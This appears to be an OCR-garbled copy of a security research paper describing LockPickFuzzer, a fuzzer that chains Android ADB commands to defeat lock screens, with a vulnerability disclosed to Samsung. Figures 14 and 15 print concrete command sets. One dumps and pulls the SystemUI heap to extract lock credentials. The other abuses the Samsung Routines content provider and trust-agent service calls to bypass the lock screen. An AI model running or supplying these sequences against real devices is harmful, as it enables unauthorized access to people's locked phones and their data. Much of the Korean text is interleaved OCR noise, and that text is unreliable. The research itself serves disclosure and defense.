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ABSTRACT

Android devices employ lock screens with various authentication methods to protect user data. However, even with the
lock screen active, the device can be accessed via the Android Debug Bridge(ADB), a powerful development tool that
controls devices connected through USB. In this paper, we explore methods to bypass the lock screen security mechanism
by leveraging the characteristics of ADB. To achieve this, we analyze ADB commands to categorize those that can severely
impact the Android system and propose LockPickFuzzer, a fuzzing test tool that automatically explores ways to combine
these commands to disable lock screen security. To demonstrate LockPickFuzzer’s ability to detect security vulnerabilities
using ADB, we conducted experiments on the Galaxy S23 and Pixel 8, both running Android 14. The results revealed two
ADB command combinations that could either steal authentication information or bypass the lock screen. We submitted a
report on these discovered vulnerabilities to the Samsung security team and received official acknowledgment
(SVE-2023-1344) from Samsung Electronics for one ADB command combination that can be reproduced on user devices.
LockPickFuzzer is a practical tool that operates automatically without user intervention and is expected to contribute to the
effective detection of security vulnerabilities caused by ADB command combinations on Android devices.
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2.2 ADB (Android Debug Bridge)
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Fig. 1. Android Debug Bridge.
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Table 1. Critical ADB Command Set.
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3= testapp.apk Y-S tiulolzd] A3t

Type

Command

adb push (file) (file-path]

(1) External Data

S adb install (apk-file)
Injection

adb shell setprop [(property) (value)

adb shell pm grant (package] [permission]

adb shell pm enable (package)

adb shell pm disable (package)

adb shell pm clear [(package)

adb shell pm uninstall (package)

(2) Changing System
Component States

adb shell pm uninstall-system-updates

adb shell am start -n (component)

adb shell am broadcast -a (action]

adb shell am startservice -n [(service)

adb shell am stopservice -n [service)

adb shell service call (service) (code) [args...]

adb shell content insert —uri (content-uri) —bind (column]: (type):(value)

adb shell content update —uri (content-uri) —bind (column):(type]:(value]

adb shell content delete —uri (content-uri)

(3) Modifying

adb shell content query —uri (content-uri)

System Information | adb shell content call —uri [content-uri) ——method [method) ——arg [arg)

adb shell device_config put (namespace) (key) (value)

adb shell settings put (namespace) (key) (value)

adb shell cmd (service] (command] (arguments]
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adb install testapp.apk

Fig. 2. Example of External Data Injection
Command: adb install.
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Table 2. Command Parameters and Descriptions.

adb shell am startservice -n com.example.locationservice/.LocationService
--ei update_interval 5000

Fig. 3. Example of Changing System
Component Execution State: adb shell am
startservice.
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Command | Parameter Description
oush file Path to the local file to be transferred
file-path Destination path on the device
install apk-file Path to the APK file to be installed on the device
. property Key of the system property to be modified
seterop value Value to set for the system property
package Name of the package
pm permission Specific permission to be granted to the package
component, Name of the component (activity) to start
am action Action to perform in the broadcast
service Name of the service to start or stop
service Name of the system service to be called
service code Method code to execute
args Arguments to pass to the service method
content-uri URI of the content provider
column Column where data will be manipulated
content type Type of data t(.) be handled .
value Data value to insert, update, or match in delete/query
method Method to call on the content provider
arg Argument for the method call
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adb shell content insert —-uri content://com.example.locationservice/locations 8]”11_:.‘ ADB O‘lEi E]]O]_/_\_% %%H 'ﬂ;g 7_(_]',01:]4‘_2_. Z,\_‘Bﬁ‘l-

—-bind latitude:d:37.7749 —-bind longitude:d:-122.4194 --bind .

timestamp- 1627801234567 t}. LockPickFuzzer? 8 4L g3 2t}
AR, 7= 271 ADB W3] AdE A& H

Fig. 4. Example of Modifying System
Component Information: adb shell content.
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Fig. 5. Overview and workflow of LockPickFuzzer.
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Fig. 6. Generating the Initial Input Dataset in LockPickFuzzer’'s Preprocessing.
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Fig. 7.5 AndroidManifest.xml®] ¢A& H
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t= (provider), €lE ¥ (intent-filter)
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exported 4Ao] true® AA o] gAY <ldE
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<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.example.testapp">
<application ...>
<activity
android:name="com.example.testapp.MainActivity"
android:exported="true">
<intent—filter>
<action android:name="android.intent.action. MAIN" />
<category android:name="android.intent.category.LAUNCHER"
</intent —filter>
</activity>
<service
android:name="com.example.testapp.ExampleService"
android:exported="true" />
<provider
android:name="com.example.testapp.ExampleProvider"
android:authorities="com.example.testapp.provider"
android:exported="true" />

</application>
</manifest>

Fig. 7. Example of AndroidManifest.xml.
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adb shell am start -n com.example.app/.MainActivity —es “key" “value”
adb shell am start-service -n com.example.app/.ExampleService—ei “num” 123

Fig. 8. Example ADB Commands for Data
Transmission to Activity and Service.
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Public class ExampleActivity extends AppCompatActivity {

Intent intetn =getIntent();
String extraData = intent.getStringExtra(“key™);

Fig. 9. Sample for Extracting String Data from
an Intent in an Activity.
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Table 3. Methods for Extracting Data from an
Intent.

Method Data Type ADB Option
getStringExtra String -—es
getIntExtra Integer —ei
getBooleanExtra Boolean —ez
getByteExtra Byte —eb
getShortExtra Short integer —es
getLongExtra Long integer —el
getFloatExtra Floating point —ef
getDoubleExtra f]?(());ltki)fg—point —ed
getCharExtra Character —ec
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public static final UriMatcher uriMatcher = new UriMatcher(UriMatcher NO_MATCH);
static {
uriMatcher.addURI(*com.example.testapp.provider”, “restable”, 1);

}

Fig. 10. URI Patterns Using UriMatcher.

public Cursor query(Uri uri, ...) {
if (uri.toString().equals(“content:/com.example.testapp.provider/restable”))
{1

}

Fig. 11. Hard-Coded URI.
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/K]-B—fs}m] ;(]‘;1 '{‘)‘H X‘ﬂ*—E‘ iy\,—7-5“ 6—}“;]' PIN—T”]‘ Require: A list of commands ¢, maximun number of commands
maxCommands
PASSWORDE}'O]JA T adb Shell 1nput teXt Ensure: Optimized subset of commands that effectively deactivates screen lock

security

{credential} W& E& dHE F glon,
PATTERN ©}3l9] 79 adb shell input swipe

: function FINDOPTIMALCOMMANDS(C, maxrCommands)

1
2 keyCommand ¢ Clend)
3 initial Commands «+ C[1 : end — 1]
{X]. yl, X2 y2 é 01 = /‘]"9‘?5}‘0:1 J’HE‘] o‘;}‘j’—ﬂ, 4 return RECURSIVEOPTIMIZATION(initial Commands, keyCommand,
2, mazCommands)
3 2= 9\}\]’;]_ .
= T . 5: end function
;Q"EIL 3| X]% /‘] Eﬁ\l' —f|':‘ /‘] i‘:’ﬂ E:LQ]' “ﬂﬂ_al Ej 6: function RECURSIVEQPTIMIZATION (commands,  keyCommand, n,
_ _ - - - maxCommands)
:‘_‘L_% '}]:;S }'0:1 OI‘E ] _]17}‘ L ZE] A l“—-Z] Dj'o] 6]"—4' T if length(commands) = 0 then
& return ()
A28l 27+ adb logeat -b main -b kernel 5 endif
10: if length(cornmands) =1 then
= =) s 3L N 1
Ué‘ Eé] o = %OH Z“E%tﬂ‘ 01 S ‘I] U‘“ ﬂ ‘:1;1] i—‘E‘ 11: if TeEsTBYPASS(commands + [keyCommand]) then
12: return commands + [keyCommand)
adb shell am dumpheap {process id} ™1 o else
14: return
2 B3 2= 4 9}, o]y, Z2AA D= adb .
15: end if
—=. 16: end if
shell ps -ef Uigﬂoﬂ e A Ad Fol Z2A 17 subsets ¢ SPLITINTOSUBSETS(comimands, n)
= . - 18: ken-1
Eal 7(—]_11 01'9‘6}'0:1 z]l'o 5\1'1;]' 7'] Lg »i/""v/—\—f TE 19: for combination in GENERATECOMBINATIONS(subsets, k) do
= — 20: combinedSubset < COMBINESUBSETS(combination)
Q - .
H '14 o“ /H Xﬂﬂ ?ﬂ—‘;}- Tzl:} % =21 ﬁ]’ E]‘TL}_ U-“ 2 B] Iﬂ 2z 21: if TEsTBYPASS(combinedSubset + [keyCommand]) then
ol = =10 22 if length{combinedSubset) + 1 < marCommands then
‘L}- Oﬂ/ﬂ A]‘;q oﬂ }(«],] % & S A -!‘1—7]' L‘—Eﬂ -‘—_‘ ] 23: return combinedSubset + [keyCommand)
= = o - — 24: end if
734?1"’/}. 1_]. o Xj 17]’ E% 4—i %Xéﬂf 75)‘ 25: return RECURSIVEOPTIMIZATION (combined Subset,
= . - keyCommand, 2, marCommands)
o [e] 4
S wWEel ARE ARHE Wi o L
D}— 27 end for
. 28: return RECURSIVEOQPTIMIZATION(commands, keyCommand, n + 1,

maxCommands)

29: end function

5.3 Postprocessing . L .
Fig. 12. Commands Optimization Algorithm.
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Fig. 13. Heapdump of SystemUIl in Device with
PIN Lock.

[

{"command": "adb install com.salab.act.apk"},
{"command": "adb shell ps -ef"},

{

"command": "adb shell am dumpheap 3774
/dataflocal/tmp/3774_com.android.systemui.prof},
{

"command":adb pull
/datallocal/tmp/3774_com.android.systemui.prof}

1

Fig. 14. Command Set Inducing Lock Screen
Credential Extraction Vulnerability.
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[ S g A Skt
{"command": "adb shell content insert --uri : © 2z 3] 23] Hok-d e ulbAs
content://com.samsung.android.app.routines.routinepro Fig. 16.= 4= A 53] FRle DAt
vider/routine —bind _uuid:s:101 —bind is_running:s:1 — A 295 Az} F-E3F HAE Ao~ ¢ &3}
bind name:s:Driving —bind routine_extra:s:'state&0'— ~
bind icon:s:9 —-bind color:s:-11813903 —-bind A 9re HAE AolA £ H]EES ehih FHek
tag:s:'mode'vdriving' —bkind ° - o ° o °
attributes:s:'{\\W'type\W\Wiifestyle_mode\\'} —bind Xﬁ]Tﬂ_‘ HELH ]’7]77}‘2] 1802101 Z]:Lﬂ‘%iﬁ , ‘lé:\'lLZ:]l-—
is_show_notification:s:1 --bind toggle_time:s:0 --bind = ok Mol glA~E o]~ Al o8}
manual_routine_running_time:s: {\\"timeout\\":7 200000, el oF 22,0007H¢] El~E Ao)rt s g
W typetW W UNTIL_STOP_MANUALLYW"}" 1;]_ :]_E—]\/]. »E gAE Ao ] ]. al A} D]H]— ].’i"ﬂ /1‘]
"command”: "adb shell content query —uri FraskA] o HA HAE A= HAE Ao
content://com.samsung.android.app.routines.routinepro o] o A 5l - = -
vider/routine --where \"name="Driving""}, ‘)—\-"] _1': 27%7]’ EJHE/;HE]’~ E}X]U]— Eﬂi\_E t‘l}%ﬁt]f
"command”: "adb shell content insert --uri Adlsle= g AE Ps ] R=ACS ;(.]X PATS
content://com.samsung.android.app.routines.routinepro oﬂ IL]—E]— F‘]JH ]—" ﬂ’—*‘ 7ﬂ ] ’] } e
vider/action_instance —bind 3= FAIE Hoth HAE 7]]01&7], A3 al= o]
_uuid:s:4915100277853143657 —bind = o = =
package:s:'com.samsung.android.app.routines' —bind + Preprocessing Aol A L dlolgate g 7

action_tag:s:trust_lock —bind routine_id:s:9 —bind
is_negative:s:0 —-bind timestamp:s:0 —bind
valid_state:s:1 —bind version:s: 1"},

{"command": "adb shell content update —uri
content://com.samsung.android.app.routines.routinepro
vider/routine --bind routine_extra:s:'state&1' --where

W id="9""},{

"command": "adb shell content insert —uri
content://com.samsung.android.app.routines.routinepro
vider/preference —bind key:s:boot_time —bind
value:s:'1799083149509"},

"command": "adb shell content insert —-uri
content://com.samsung.android.app.routines.routinepro
vider/preference -—-bind key:s:grant_required —bind
value:s:true"},

{"command": "adb shell service call lock_settings 3s16
'lockscreen.enabledtrustagents's16
'com.samsung.android.app.routines/.preloadproviders.s
ystem.actions.trustlock.SepRoutine TrustAgentService'
i320",

{"command": "adb shell service call trust 5132 0"},
{"command": "adb shell service call trust 1132 1132 0"

]

Fig. 15. Command Set Causing Arbitrary
Lock Screen Bypass.
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